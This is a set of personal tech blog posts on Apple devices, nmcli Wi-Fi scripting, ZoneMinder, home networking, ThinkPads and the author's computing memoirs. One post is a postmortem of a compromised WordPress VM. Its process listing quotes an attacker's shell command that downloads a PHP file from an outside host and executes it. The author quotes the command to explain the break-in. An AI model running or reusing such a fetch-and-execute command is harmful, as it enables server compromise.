Why I think Apple device is a better choice for normal people

I have been a FOSS user and advocate for a few years now. My main computers run Linux, and I work for a company on Linux related stuff. However, I always have Apple devices around, some are my own purchase (iPhones and iPads) and some are passed on to me (Macs). Before you read on, this post is about the reasoning behind recommending Apple devices for non-technical users. It is subjective and heavily biased. You have been warned.

As a long time (well, since around 2010) mobile user and tech follower, I have to give Apple credits for their entire hardware and software solutions, especially if you are looking at it from a "normie's" perspective. The longevity of OS support, good privacy settings and general availability of battery service are the main reasons for me to say this. Full disclaimer: I used to be a Google/Android fan; I’ve owned several Google branded Android phones, including Nexus 4, the Original Pixel and Pixel 3.

Take my own experience as an example: I purchased a refurbished iPhone 8 on 2020 (it originally came out in Fall 2018); been using it for 2.5 years now and just had battery replaced. Now that I can keep using the phone until the end of 2023, when (presumably) iOS 16 stops being supported. For a device I paid roughly $300 CAD, that's hell out of a value. A startling contrast would be the Google Pixle 3 (Fall 2018), which lost support from Google after a mere 3 years. People may argue that you can root it and flash it with LineageOS. While it is technically feasible and might be fun for some, I wouldn't even consider this option for normal users.

The next major point is default privacy. I know some people may disagree and even spit on the idea that Apple is good for privacy, but the truth is that Apple’s centrally controlled App Store is doing a lot better than its competitors. For some reason people are forced to use third-party app markets other than the Play Store (stock ROM defaults to third-party store; certain apps are not available on the Play Store; or Play Store is just not accessible). Third-party app markets are a wild west, let's put it mildly, and their popularity is high in certain regions of the world. Again, I am not endorsing Apple but contrasting it with its Android counterparts. You can make up your own conclusion.

Lastly, the ease of battery replacement and modest cost ($49 CAD for iPhone 8, at the time of writing). Give me an example of Android phone battery replacement service that is universally available across North America and costs less than $100 CAD for a 3+ year device? Probably rarer than a dinosaur. For an iPhone, I can just walk into an authorized store and have it serviced in less than 40 minutes.

All in all, personally I would only recommend Apple devices for my family members. Non-technical people also deserve reasonably good privacy, serviceable battery and more than 3 years of security updates out of a device.

Scripting with nmcli to connect RADIUS/WPA2 Enterprise Wi-Fi network

Recently there is a challenge that came from work. A batch of Linux client machines that are going to be deployed onsite need to connect to enterprise Wi-Fi with RADIUS authentication server.

Due to the sheer number of client machines, it is impractical to configure them individually using NetworkManager's GUI. So I decided to write a small script that automates this process by utilizing the command-line interface of NetworkManager: nmcli.

The script is very straightforward: it reads the desired IP address, turns on Wi-Fi radio and connect to a pre-configured Wi-Fi network with static IP and manual DNS/gateway settings.

#!/bin/bash

currentstaticip=$(ip -4 --brief address | grep -m1 192.168 | awk '{print $3}')
echo "The static IP address of $HOSTNAME is $currentstaticip"

# Turn Wi-Fi on and scan for Wi-Fi signals
nmcli radio wifi on
sleep 3

# Configure wlan0 connection
nmcli con modify wlan0 802-11-wireless.ssid THE-SSID

nmcli con modify wlan0 802-1x.eap peap 802-1x.identity THE-IDENTITY \
802-1x.password THE-PASSWD \
802-1x.phase2-auth mschapv2 \
802-11-wireless-security.key-mgmt wpa-eap

nmcli con modify wlan0 ipv4.method manual
nmcli con modify wlan0 ipv4.address $currentstaticip
nmcli con modify wlan0 ipv4.dns 8.8.8.8,1.1.1.1
nmcli con modify wlan0 ipv4.gateway 192.168.x.1

# Connect
nmcli con up "wlan0"
nmcli con modify "wlan0" wifi.hidden yes

The only part that required trial and error is the sequence in which security and identity information is supplied to the RADIUS server. Every RADIUS setup is different and what worked in this scenario may not work under a different setup. On the other hand, there's not a lot of scripting examples out on the internet that deal with enterprise Wi-Fi. All in all, it took me a few hours to read the man pages and come up with this solution.

Hope it will bring value to people who are struggling with similar problems.

Setting up ZoneMinder NVR

For the past year or so, I use BlueIris as my network video recorder (NVR) solution on a dedicated HP ProDesk computer, running Windows 10. BlueIris has proven to be a solid piece of software. Although I only use a fraction of its offerings, I still think it's worth the cost (yes, it's paid, proprietary and Windows-only). I had no plan to replace it any time soon.

That is, at least until yesterday, when the HP computer just died. Turns out, my cat sneaked into the basement a few weeks ago and urinated on my server rack, and the liquid got into the case and slowly eroded the motherboard. The desktop was lying horizontally on the top shelf of my rack and caught most of the liquid, saving all the equipment beneath it. It's pretty heroic, in a sense.

I took a picture of the the dead motherboard.

Well, it's time to pick a new NVR solution (preferably open source) and chug along with life. I had previously tried Shinobi and concluded that the web interface was not to my liking. I tried ZoneMinder as well on an i5 computer back then, but it was simply not powerful enough to drive motion detection on 3+ cameras.

Understanding the pain points

After running security camera systems for more than a year, I have figured out my use case and exactly what I need from an NVR system. I simply need it to:

  • Record 24/7 low-res footage on all cameras
  • Low maintenance effort
  • Low CPU usage and disk I/O (ideally)

What I thought I needed but actually don't:

  • GPU encoding/decoding (pass-through is good for me)
  • Motion detection (cats running around all the time, tons of false trigger)
  • High-res footage (nice to have, but low-res is good enough)
  • Multiple copies of backup (footage from weeks ago are not critically important)

With that in mind, I decide to give ZoneMinder another go. This time, with a minimum viable configuration.

Deciding the hosting infrastructure

With the HP desktop down, I only have three servers left: Dell PowerEdge R720 as main hypervisor with 8 hard drives in ZFS mirror vdev configuration; HP ProLiant DL360p Gen8 as a testing server; and a dedicated backup server running TrueNAS. I better not mess around with the backup server, and I don't want to occupy the testing server with mission critical tasks. The only logical choice is Dell R720.

ZoneMinder is a PHP web application running on top of LAMP stack, so it should have no problem running in a LXC container. In fact, this YouTube video shows exactly the same setup. External storage is something we have to configure, though, as discussed later in this post.

Installation

Follow the most recent guide on ZoneMinder wiki for either Ubuntu or Debian systems: add apt source list, install dependencies and ZoneMinder itself. Fire up a web browser and go to x.x.x.x/zm, or have a proxy in front of it and go to my-zonminder-url.tld/zm and you are greeted with a setup wizard. At the time of writing, the most recent stable version is v1.36.12 on Debian 11 Bullseye.

Before running the wizard, I would add external storage to the LXC container. By default, ZoneMinder stores "events" under /var/cache/zoneminder/events. This directory is owned by www-data user and group. In Proxmox, there is a neat trick to bind mount a path on the host system to the guest container. In this case, I created a ZFS dataset /tank/encrypted/zoneminder and bind mounted it to /var/cache/zoneminder/events in the container. I had to add the following line in the container config file (/etc/pve/lxc/Container_ID.conf):

mp0: /tank/encrypted/zoneminder,mp=/var/cache/zoneminder/events

Reboot the container; the external storage will show up.

We also need to fix the permissions of the storage directory. By default, the www-data user and group have UID and GID numbered at 33, which maps to 100033 on the host system. We could simply chown -R 100033:100033 /tank/encrypted/zoneminder on the host system and call it a day. Since I already have a ZFS dataset with 100033 UID/GID bind mounted to the Nextcloud container, I would go the extra mile by changing the UID/GID number of www-data user/group on ZoneMinder container to some number other than 33. The logic is that, if either container is compromised, their www-data user/group can not touch the other's bind mount storage path on the host system. It may sound overly cautions, but reducing attack vector is always a good practice.

Adding Reolink Cameras

I have a total of five Reolink 5MP cameras. This wiki page and this Reddit post show how to add Reolink cameras to ZoneMinder. If in doubt, use ONVIF auto detection. I find it much easier probing than messing around with RTSP/RTMP feed URL.

Each camera has a sub stream and a main stream. I record sub streams 24/7 and use main streams purely as monitors.

For me, the sub feed URL is:

rtsp://admin:password@IP:554/h264Preview_01_sub

The main feed URL is:

rtsp://admin:password@IP:554/h264Preview_01_main

Of course, substitute username and password based on your setup. The default username for Reolink cameras is "admin"; the default password is empty.

Wrap-up

I won't go into details on how to configure ZoneMinder because I know everyone's need is different. However, I suggest at least add a filter rule to purge events when disk gets full.

Keep an eye on CPU and RAM usage, as ZoneMinder relies on CPU to do processing and it can get hungry in terms of resource usage. Also pay attention to the usage of tmpfs /dev/shm if you have motion detection configured, as it can get filled up quickly. The size of tmpfs can be increased in VMs but not in LXC containers.

That's all I can think of right now. My configuration is very minimum. It works for me but may not suits everyone. I am still exploring ZoneMinder myself and may revisit this topic later on.

A Close Call: How a WordPress Site is Almost Hacked

Background

I have a few spare VMs running in the cloud, waiting to be purposed. These VMs are provisioned using Ansible but are not in production use. One of them hosts a WordPress site using basic LAMP stack. The only ports open to the world are SSH and HTTP/HTTPS. I should add that the sshd is configured to use key authentication only, as a sane person would do.

This particular VM runs Debian 11 and has 1 GB of RAM. It serves the sample page came with WordPress, with little to no configuration other than WP 2FA and W3 Total Cache plug-ins.

How I found out

I occasionally go to the website url to check if everything is working. Strangely enough, one day, the website was unreachable. I tried to ssh into the VM and the connection timed out. As a last resort, I went to the cloud provider's dashboard and rebooted the VM. As a side note, I uninstalled all diagnostics agent software pre-installed by the cloud provider just to keep the tiny VM lean; I could not monitor the VM in the dashboard as a result.

After the VM came back from reboot, the website started to show up and I could ssh in. Everything seemed to be functional again. However, it didn't last long until the VM locked up again. That is, a few hours later when I checked in, same things happened all over again.

Investigation

After a few more reboots, I decided to investigate the root cause of this strange behaviour. I highly doubted that the website was too popular: it's just a blank site with almost zero traffic. The apache configuration is kept as default; php-fpm configuration are tuned to be on the conservative side with very few workers. I started a bench test from another VM using apache2-utils package:

~$ ab -c30 -t30 'https://example.com/?cat=1'

This commands spins 30 dynamic connections from the other VM to stress test the php processing. As expected, it handles the test just fine, without any significant RAM usage.

As I dug deeper into the process tree, it didn't take me long to find out that the memory was slowing being eaten by php processes. It happened gradually over the course of a few hours, until all memory was consumed by php-fpm and OOM killer finally kicked in. A quick systemctl status -l php7.4-fpm.service gives the following info:

● php7.4-fpm.service - The PHP 7.4 FastCGI Process Manager
     Loaded: loaded (/lib/systemd/system/php7.4-fpm.service; enabled; vendor preset: enabled)
     Active: active (running) since Sun 2022-03-06 23:11:47 EST; 1h 13min ago
       Docs: man:php-fpm7.4(8)
    Process: 650 ExecStartPost=/usr/lib/php/php-fpm-socket-helper install /run/php/php-fpm.sock /etc/php/7.4/fpm/pool.d/www.conf 74 (code=exited, s>
   Main PID: 482 (php-fpm7.4)
     Status: "Processes active: 2, idle: 14, Requests: 166, slow: 0, Traffic: 0req/sec"
      Tasks: 75 (limit: 1128)
     Memory: 773.4M
        CPU: 14min 29.690s
     CGroup: /system.slice/php7.4-fpm.service
             ├─   482 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
             ├─   649 php-fpm: pool www
             ├─   750 php-fpm: pool www
             ├─   753 php-fpm: pool www
             ├─   768 php-fpm: pool www
             ├─ 56725 php-fpm: pool www
             ├─ 56736 php-fpm: pool www
             ├─ 56737 php-fpm: pool www
             ├─ 92508 php-fpm: pool www
             ├─ 92528 php-fpm: pool www
             ├─ 92529 php-fpm: pool www
             ├─ 92587 php-fpm: pool www
             ├─ 98783 sh -c wget http://32868.port0.org/st/get_xleet.txt -O inc.class.xleet.php; php inc.class.xleet.php
             ├─ 98848 php inc.class.xleet.php
             ├─107565 sh -c php inc.class.xleet.ph

The last three processes immediately gave me a chill in the back. Why is it downloading and executing a php script? It is so bad.

A quick ls -lA on the document root:

total 344
-rw-r--r--  1 www-data www-data  8197 Mar  7 15:21 .htaccess
-rwxr-xr-x  1 www-data www-data  2067 Feb 21 20:19 3index.php
-rw-r--r--  1 www-data www-data   362 Feb 16 11:25 accesson.php
-rw-r--r--  1 www-data www-data 16090 Mar  7 16:18 angry.txt
drwxr-xr-x  3 www-data www-data  4096 Feb 22 09:36 assets
-rw-r--r--  1 www-data www-data  1194 Mar  7 16:18 inc.class.xleet.php
-rwxr-xr-x  1 www-data www-data   405 Feb 22 19:35 index.php
-rwxr-xr-x  1 www-data www-data 19915 Mar  7 15:32 license.txt
-rw-r--r--  1 www-data www-data 12484 Mar  7 16:18 list.txt
-rwxr-xr-x  1 www-data www-data  2012 Nov 10 09:31 old-index.php
-rw-r--r--  1 www-data www-data    29 Feb 21 20:19 on.php
-rwxr-xr-x  1 www-data www-data  7437 Mar  7 15:32 readme.html
-rwxr-xr-x  1 www-data www-data   556 Oct 29 23:53 robots.txt
-rw-r--r--  1 www-data www-data 10445 Mar  7 16:18 roll.txt
-rwxr-xr-x  1 www-data www-data 16290 Oct 29 23:51 store.php
-rw-r--r--  1 www-data www-data  1219 Feb 22 19:35 unzip.php
-rwxr-xr-x  1 www-data www-data  2094 Nov 10 10:21 wikindex.php
drwxr-xr-x  8 www-data www-data  4096 Oct 29 16:10 wordpress
-rwxr-xr-x  1 www-data www-data  7165 Jan 20  2021 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Dec 31  1969 wp-admin
-rwxr-xr-x  1 www-data www-data  7246 Nov 10 09:31 wp-admin.php
-rwxr-xr-x  1 www-data www-data   351 Feb  6  2020 wp-blog-header.php
-rwxr-xr-x  1 www-data www-data  2338 Feb  1 12:35 wp-comments-post.php
-rwxr-xr-x  1 www-data www-data  3001 Feb  1 12:35 wp-config-sample.php
-rwxr-xr-x  1 www-data www-data  3383 Sep 15 22:08 wp-config.php
drwxr-xr-x 10 www-data www-data  4096 Mar  7 15:33 wp-content
-rwxr-xr-x  1 www-data www-data  3939 Jul 30  2020 wp-cron.php
drwxr-xr-x 26 www-data www-data 12288 Feb  1 12:35 wp-includes
-rwxr-xr-x  1 www-data www-data  2496 Feb  6  2020 wp-links-opml.php
-rwxr-xr-x  1 www-data www-data  3900 May 15  2021 wp-load.php
-rwxr-xr-x  1 www-data www-data 47916 Feb  1 12:35 wp-login.php
-rwxr-xr-x  1 www-data www-data  8582 Feb  1 12:35 wp-mail.php
-rwxr-xr-x  1 www-data www-data 23025 Feb  1 12:35 wp-settings.php
-rwxr-xr-x  1 www-data www-data 31959 Feb  1 12:35 wp-signup.php
-rwxr-xr-x  1 www-data www-data  4747 Oct  8  2020 wp-trackback.php
-rwxr-xr-x  1 www-data www-data  3236 Jun  8  2020 xmlrpc.php

Clearly there are some unknown files being created (like angry.txt) and the BIG RED ALERT inc.class.xleet.php. I tried to delete those files and they kept popping up. I also noticed the weird permission in the document root, 755 seems to be too open. However, no time to think! I quickly removed the document root entirely and went on to check system logs to see if there is any bigger problem. Luckily I didn't find any evidence that the VM is compromised.

Back to WordPress, I downloaded a new installer and the default permission is conservative (644 for the most part). Extracted and started serving, the php scripts didn't make a come back.

Postmortem

I am not an expert in security but this is serious enough for me to reflect and make a lesson. The most likely scenario is that file permission for document root is too open. Either the www:data user or php-fpm process is compromised as a result.

It was ultimately due to a mis-configuration in my Ansible playbook, in which it extracts the WordPress tar ball and reset the permission to 755. Thank goodness this is the only affected machine, as other WordPress sites that I administer are setup by hand.

Lastly, I removed this VM entirely as a precaution.

Takeaways

There are three lessons I learned:

  1. When something strange happens, take it seriously and investigate; it's a sysadmin's responsibility
  2. Don't mess with default permission for no obvious reasons
  3. Examine the automation code carefully before pushing; convenience can sometimes be a double edge sword

How Unix tools help me decide baby names

As a father-to-be, I'm both thrilled and terrified to be expecting a baby. Of all things I should do right now, the most practical thing would be to come up with a name. However, out of thousands if not tens of thousands first names out there, how to pick the one?

I am not very creative at naming people or pets, and I'm very picky at the same time. As we would likely to have multiple children down the road, we definitely need to come up with a system to help us name them. Say the maximum possible number of children we would have is six, we would want each child's name starts with a different letter. Together these letters would form a word with a beautiful meaning. I take inspiration from Brian W Kernighan's book UNIX: A History and a Memoir, in which he writes a story about using grep and regular expression to help a friend find words (from the dictionary on his Unix system) matching an upside-down calculator screen. I thought it was funny when I first read about it, but now I think it just might be what I need to try.

So here is the gist. I'm going to find all six-letter words from a dictionary and pick one. The word can have capitalized or small first letter, but it should not contain repeating letters.

First, I run the following command again a dictionary file commonly found on Linux and BSD machines (on macOS it's /usr/share/dict/web2). The purpose is to extract all six-letter words and store them to a temp filed called `upper_unprocessed'

~$ grep -E '^[[:upper:]][[:lower:]]{5}$' /usr/share/dict/web2 > upper_unprocessed

Next, we need to process the upper_unprocessed file. I first convert capitalized letters to lower letters, piping the results to grep to find the words that do not have any repeating letters (notice the -v flag). Finally, I capitalize the first letter of each word, essentially restoring their original look. The cleaned up list is now stored in upper file.

~$ tr [:upper:] [:lower:] < upper_unprocessed | grep -Ev '(.)(.*\1){1}' | sed -E 's/(.)/\u\1/' > upper

Now that we have upper case words taken care of, let's look at lower case words. We find six-letter words from web2 dictionary and get rid of the ones with repeating letters, store them in lower file.

~$ grep -E '^[[:lower:]]{6}$' web2 | grep -Ev '(.)(.*\1){1}' > lower

Finally, we cat display both upper and lower files, sort all the words alphabetically (albeit ignoring the case with -f flag) and output them to a file called combined.

~$ cat upper lower | sort -f > combined

Voila! Here is a sneak peak of the resulted combined file:

abdest
Abdiel
abduce
abduct
abeigh
abider
Abipon
abject
abjure
ablest
...
begoud
begowk
begray
begrim
Beguin
begulf
begunk
behalf
behind
behint

A quick wc -l shows over 8000 lines (or words, in this case), giving us plenty of choices. A quirk I found during the process is that how unused I am to BSD version of these tools. I learned the command line by using Linux and are used to GNU version of things. Dealing with regex on a BSD machine is a little weird and frustrating. As a result, I grabbed the dictionary file from a Mac and did the processing inside a Debian system.

I would tell you that the final choice is the word family, which totally checks all the boxes and means a lot to, well, a family. Credits go to Unix tools!

Upgrading Home Network to a Small Business Level

A few months ago I decided to upgrade my home network from an average-consumer setup to a Soho business level. I had been using an ASUS RT-AC68U as my router/switch/wireless-AP for a long time. Although the setup is simple, reliable, and the fact that ASUS-Merlin firmware is more powerful than most of factory default WRT systems, I feel the itch to tinker with prosumer or even business grade network gears. This is for me to learn network knowledge and also to provide a solid network setup for feature homelab projects.

In short, I would like my new setup to have the following capabilities:

  • VLANs: segregating the core network from work computer and IoT devices
  • Ability to assign VLANs to wireless SSIDs
  • PoE: running Wireless AP and IP cameras with a single Ethernet cable
  • (optionally) L3 switching (inter-vlan routing), reducing the traffic for the router
  • Wireguard VPN server (on router or LAN host)

After spending hours and hours on the web (SNBforums and /r/homelab) and listening to podcasts, I finally pulled the trigger on the following gears:

  • (used) Cisco SG300-10MPP: a 10-port Layer 3 gigabit switch with PoE+
  • (used) Cisco WAP371: wireless AP with integrated controller
  • Celeron J4105 processor mini PC with dual gigabit NICs: x86 router build

Networking gears
(New network gears, lots of cables and two Reolink security cameras!)

I was also seriously considering Cisco Catalyst line of switches, which run proper IOS. However, the PoE version all have noisy fans which prevents them from going into my apartment. Used Cisco gears on eBay are mostly cheap, especially those that are going out of support. I managed to spend around $200 USD on the switch and just $60 CAD on the WAP (locally from Kijiji). The x86 mini PC (barebone version without RAM/SSD) from AliExpress only costs $150 USD. I put some spare parts in and it's ready to roll.

Cisco SG300-10MPP switch

It's an awesome little switch for its size and quietness (fanless). It performs as expected, as long as settings are correct. I primarily followed this post How to setup a Guest network on an Cisco SG300-28 layer 3 switch to set up:

  • Layer 3 mode (requires factory reset)
  • VLANs and port membership
  • IPv4 static routes
  • DHCP server
  • Access control list (ACL)

After about 2 months of use, here are some complaints I have about the SG300 switch:

  • The web GUI is slow and confusing at times
  • CLI is slightly different than proper IOS (based on what I heard; I didn't use)
  • The ACL is cumbersome to use: the ACEs (Access Control Entries) of an ACL can only be edited when the ACL is not attached to any VLAN. This is extremely inconvenient as if I want to keep IoT VLAN from accessing other VLANs at all times, I have to shutdown or disconnect all IoT devices within the VLAN before I can safely edit its ACL
  • Updated ACL won't take effect unless I reboot the switch. Auh!

The biggest caveat, however, is the lack of ports. I almost immediately regretted that I purchased the 10-port version after I received it. Maybe in the future, as my homelab grows, I can use it as a dedicated PoE switch and uplink it to a 48-port main switch. Hmm, one always has to plan for expansion.

WAP371

This wireless access point is actually very awesome. It's only 802.11ac, but it has a built-in controller for features like seamless roaming (with 2 or more APs) and Captive Portal (guest login page), among other things. When used solo, as in my case, I don't necessarily benefit from the controller, but it enables feature expansion possibilities. I will have to buy the same exact AP for the mesh to work, but they are getting cheaper and abundant as support ends in a year.

Setting up Cisco WAP371 access point is relatively easy. A few things to watch out for:

  • The SSID name only supports dot "." and any other characters are not supported. I tried to save the name with dath "-" and it failed silently, which is confusing for a newbie like me.
  • By default, at least one 5Ghz and one 2.4Ghz SSID have to stay up. If I want to disable the last 2.4G SSID, I will have to turn off the 2.4G radio completely
  • A bit of rant: when I try to save a mis-configured configuration, it won't save but it also won't give me any error message. I have to RTFM to figure out why. Ouch.

ACL

Writing ACL is something new for me. This is the key of VLAN segregation, by default there is no ACL (no segregation at all). I watched CCNA courses and read a lot from Cisco forum to come up with my own ACLs. This post describes a great way to write ACLs:

  • Permit (allow) whatever you need to other internal subnets
  • Deny everything else to other internal subnets
  • Permit everything else (i.e., Internet)

For my Guest VLAN (most locked-down VLAN, strictly Internet access only), here is the ACE:

permit udp 10.1.9.0 0.0.0.255 host 10.1.9.254 range 67 68 # DHCP service
permit tcp 10.1.9.0 0.0.0.255 host 10.1.1.1 eq 53 # DNS service
permit udp 10.1.9.0 0.0.0.255 host 10.1.1.1 eq 53 # DNS service

deny   ip  10.1.9.0 0.0.0.255 10.1.0.0 0.0.255.255 # summarizing subnets

permit ip  any any

If I wanted to permit Guest devices to access a service on the LAN, I would add an Permit entry to specify target IP(s) and port(s). However, modifying ACL on Cisco SG300 is not without caveats, as described previously.

Things in the feature

The next step for me to explore pfSense or OPNsense to harness the power of x86 hardware as the firewall. I will have to decide where I want to manage the ACLs (either on the switch or centralized on the firewall, albeit losing inter-VLAN routing). Big rabbit holes lying ahead, feeling excited!

I Ordered a ThinkPad P14s

March 2021 update: the production was significantly delayed by Lenovo, so I eventually cancelled the order. Nonetheless, the reason for purchase detailed in this post is still valid.


I'm a big ThinkPad lover, partly because I'm a nerd, and partly because of my wife's experience as she heavily used a ThinkPad T43 (or similar model) back in her teenage years. We (mostly I) started collecting classic ThinkPad models about 2 years ago off of Kijiji, the most popular flea market in Canada. I was albe to score a T61 and a X200 both in very good conditions. The T61 is a 32-bit machine, though, we are keeping it simply for nostalgia reasons; the X200, on the other hand, has been my fun little companion for the last two years. I showed it off to my professor at school (who is a Linux user), and brought it with me to Italy for school.

During the last couple of months, I bought and sold a few relatively modern ThinkPads. Currently I am rocking a T460s as my main machine, which features an Intel i5-6300U CPU. I have upgraded the RAM to 12 GB and storage to 1TB NVMe drive, however, the 2-core CPU is really showing its age. I could just add some RAM and not bother getting a new machine. At least that was my plan, until yesterday.

An incredible deal appeared on Lenovo's website: the P14s Gen 1 (AMD) model is on sale for only $747.15 CAD. The specs are shown below:

  • CPU: AMD Ryzen 7 Pro 4750U (Zen2, 8 Cores 16 Threads)
  • RAM: 8GB DDR4 3200 soldered (one empty slot up to 32GB)
  • Storage: 256GB NVMe SSD (M.2 2242 can fit a second SSD)
  • Wireless: Intel Wi-Fi 6 AX200 802.11AX (soldered)
  • Screen: 14.0” FHD (1920 x 1080) IPS, 250 nits, 45% NTSC
  • NIC: Realtek RTL8111EPV Gigabit Ethernet (why not Intel? possibly cost down)
  • OS: Windows 10 Pro pre-installed (RHEL and Ubuntu LTS certified)

Without much thinking, I pulled the trigger on this deal. Such a no-brainer, literally. Overall, the specs are decent and upgradable (RAM and SSD). The Ryzen Pro is just like vPro version of Intel CPUs for business market. The RAM's frequency is high enough and upgradable. The weakness come from the display: 45% NTSC is just garbage in 2021. Also, in 2021, I use it at home all the time connected to a beautiful 27 inch monitor. So who cares about the colour gamut of the built-in display!

Price-wise it is simply insane: normally, similar spec ThinkPad P series would sell for double the price. However, note that the P14s Gen 1 is the little brother of the P series and it is based on T14. Still, it has solid build quality with fiberglass plastic and magnesium alloy frame, the usual ThinkPad genes. The differences between it and T14 are as follows:

  • T14 (AMD) comes with Ryzen 5 or 7 Pro whereas P14s only comes with Ryzen 7 Pro
  • T14 graphics is the same as P14s (Vega 7), but T14 uses AMD normal driver whereas P14s uses AMD Pro APU driver (for Windows; AMD open source driver rules on Linux, although you can run AMD proprietary driver)
  • T14 max RAM is 32GB (8GB soldered and 16GB slot) whereas P14s (AMD) max RAM is 40GB (8GB soldered and 32GB slot)

Lenovo website says the shipping time is 5 weeks. I can't wait to get my hands on the new laptop! I'm happily dreaming about the performance and graphics capability of 4750U: maybe I can finally play Civilization VI without a dedicated gaming rig.

As for the T460s I'm currently using, it will be re-purposed as either a dedicated NVR (network video recorder) or a Proxmox box running virtual machines. Laptops make great servers: silent and low power (until the only hard drive fails and no backup). I will never complain about the number of computers at my disposal.

How I Got Into Computers (Part II)

First PC

I assembled my first PC in the summer between middle school and high school. Prior to that summer, it was a pro-longed period we had to study for the high school entrance examination. A gaming PC was sort of my reward after years of hard work.

The PC was built with budget in mind. In fact, I tried my very best to fit the most capable hardware within the budget. It has an AMD Athlon 3-core CPU, 4GB of RAM and Radeon HD6750 graphics card. Not a powerhouse, but it was good enough for 3A games to run smoothly on a 22 inch monitor with mid to high settings. I played tons of games that summer inside my room without A/C. Sweat dripped from my elbow to the floor like a waterfall. I couldn't care less about the heat and fan noise when I dived into games. I caught up with all the games I missed due to busy school work, or at least I think I did.

Besides gaming, it was a lovely summer all by itself. I hung out with friends to restaurants and shopping centres; tried a lot of things for the first time; even dated my first girlfriend.

High School

Summer quickly went by and high school was upon me. Since the campus was far from the city, nearly all student had to live in the student residence. It was essentially a boarding school experience. We would stay on campus for 5 days and go home for the weekend. The caveat is that I don't get to have a computer at school. Laptops are not forbidden in the residence per se, but we didn't have much free time to spend at residence. Computers became useless.

In the early 2010s, we saw the wake of smart phone. Almost all the kids had one, be it smart or not. My first phone was purchased within the first couple of months into high school. It was a Meizu M8, a highly customized Windows CE phone with iPhone 3GS as its design goal. It has a beautiful 3.5 inch screen and a home button, just like the iPhone. Software-wise, it was pretty barebone: basic utilities and a few third party apps like QQ and UC Browser. Beside texting SMS and chatting on QQ, I main used the phone to do social media in the browser, read news in text-based RSS feed, and listened to music (pre-loaded, of course). It served me well for 2 years in high school. I still miss the dense feeling of holding the M8 on hand.

O Canada

At the final year of high school, my family and I decided to continue my education in Canada. I arrived at Pearson International Airport alone, a month before my 18th birthday. Going from China to Canada is one of the biggest events in my life. It is a topic for another blog post.

As for tech equipments, I brought with me the trusty ASUS laptop I mention in Part I of this series. It was old and shit after years of tinkering, but still working. About 2 months into new life, I started to notice the rather frequent sales event on Dell website... hmm, capitalism began its work. Jokes aside, I really needed a more capable machine for everything I do, and some photography needs. I pulled the trigger: first time in my life, I spent one thousand Canadian dollars buying something without consulting my parents. It was the moment when I started to take responsibilities of my own finance. It was a Dell Inspiron 17-inch laptop with i7 and 8GB of RAM. It only had integrated Intel graphics: I tried to distant myself from gaming on this thing; honestly though, I didn't want to spend more money on a NVIDIA graphics card.

As it turned out, this big boy served me well for over 3 years. With a 17-inch 1080P screen, it acted like a desktop replacement. Sadly, I accidentally poured water over it while I was travelling in Xiamen, China, and it started to have weird issues ever since.

Early University Life: Google v. Apple

University life is colourful in terms of tech gears. As a freshman, I was tired of having to dragging my big Dell around the campus. So, I decided to try out Chromebook: I ordered a Toshiba 13-inch Chromebook some time in 2014 for around $300. It was a great purchase! Chromebook was a perfect balance between weight, price and functionality. I was able to write notes, collaborate on Google Docs and browse the web on this mighty little machine with hours and hours of battery life. The screen sucked, and so was the keyboard, but those things mattered far less to me back then than they are now.

I used to be a Google fanboy with Google tech equipped to teeth. Google's services were awesome and I took so much advantage of them. It wasn't until late 2018 I started to distant myself from Google ecosystem (and everything else that doesn't respect user privacy). My last Google hardware was the original Pixel phone, purchased only a few days after it launched in September 2016.

I went ahead of myself. Let's get back to 2015. That year, I got rid of my big Dell and moved onto a used MacBook Pro 13 (late 2013 model). It was beautiful and elegant. I couldn't tell if it's the retina display, but I felt so comfortable even after long hours of using it. I also bough an iPad Air 2 and iPhone 6, knowing that I would go to Germany for internship. I was very critical towards the Apple way of doing things, though. As a Google fanboy, I even engraved "Google Nexus" when I ordered my iPad, which I still use everyday. If it were a Nexus tablet, it would probably have become a pile of electronic trash after the last security update. How ironic.

I brought the MacBook Pro with me to Germany. During the first few months, I had bug bugs infested in my apartment (ouch). I moved a few times trying to get rid of those foul creatures. Eventually I figured out that I could freeze my luggage at -20 degC for over 48 hours to kill the eggs. So I did, with the help of my manager, along with the Mac inside my luggage. I did this treatment 2 times and it survived! The battery life wasn't even affected by much.

Along with the Mac, I also brought the Chromebook. What happened to this machine is worth mentioning. I gave it away to my roommate in Germany, who was a student from Syria, stranded financially because of the Syrian War in 2015. By gifting this laptop to him, I felt I did something good.

How I Got Into Computers (Part I)

In this (series of) blog post(s), I'd like to share how I got into computers and technology in general. More specifically, I will tell you a bunch of stories in a chronological order based on my memories. Some of these early childhood memories are quite blurry at this point; the details may or may not be accurate. I will try my best to put the context in place.

That being said, it's nothing sensitive or anything in that nature. I'm just trying to write down my memories and thoughts before I lose even more details down the road. If my stories ever bore interest you, I'd be glad to hear.

Windows Me

I was born in a somewhat privileged family somewhere in China. My dad attended a technology university with military background in the 1980s and stayed for teaching until the year I went to elementary school. As a result, I spent most of my early childhood days in a semi-militarized neighbourhood with kids who had exact same background as I did. In Chinese, the word "部队大院" is used to describe such a neighbourhood. It was quite common, especially in the north part of China.

My family is not among the super early adopters of computers, despite my dad's program involved with lots of computers (I think). By the time I started to memorize things, we still didn't have a computer at home.

The first computer we had was brought by one of my dad's colleague. It has a Sun Microsystems keyboard, a small but bulky CRT monitor, and a vertical style PC case. It was DIYed for cheap, but it was a generic x86 machine with an Intel processor. In early 2000s, computer was still a rare thing in common Chinese households, let alone internet access. My dad and his friend loaded the operating system, drivers (oh yes) and some games using floppy disks.

I started typing and playing around with this incredible machine. The OS was Windows Me, and I specifically remembered them saying it's newer than Windows 98. Only after many years I realized how badly received this version of Windows were. But none of it I cared; all I wanted to do is playing Command & Conquer: Red Alert and Age of Empires. So I did, for many preschool days.

I skipped the final year of kindergarten due to medical operations. Instead, I spent my flee time equally among playing with kids in the neighbourhood, looking after my fleet of rabbits, and playing single-player games on the PC.

It's worth mentioning my parents education philosophy. The computer was sitting in my room with no password or restrictions of any sort. I was free to use it basically any time I wanted. However, my parents never said the computer belonged to me; I was essentially "borrowing" it from my parents. They didn't have to set up a hard limit on how many hours I could play in a week since I never abused my privilege nor ruined my parents' trust. Or I did and they just didn't find out? Anyways, my relationship with my parents never got tense because of the use of tech. I thank them for giving me space to play and learn.

Computer Class

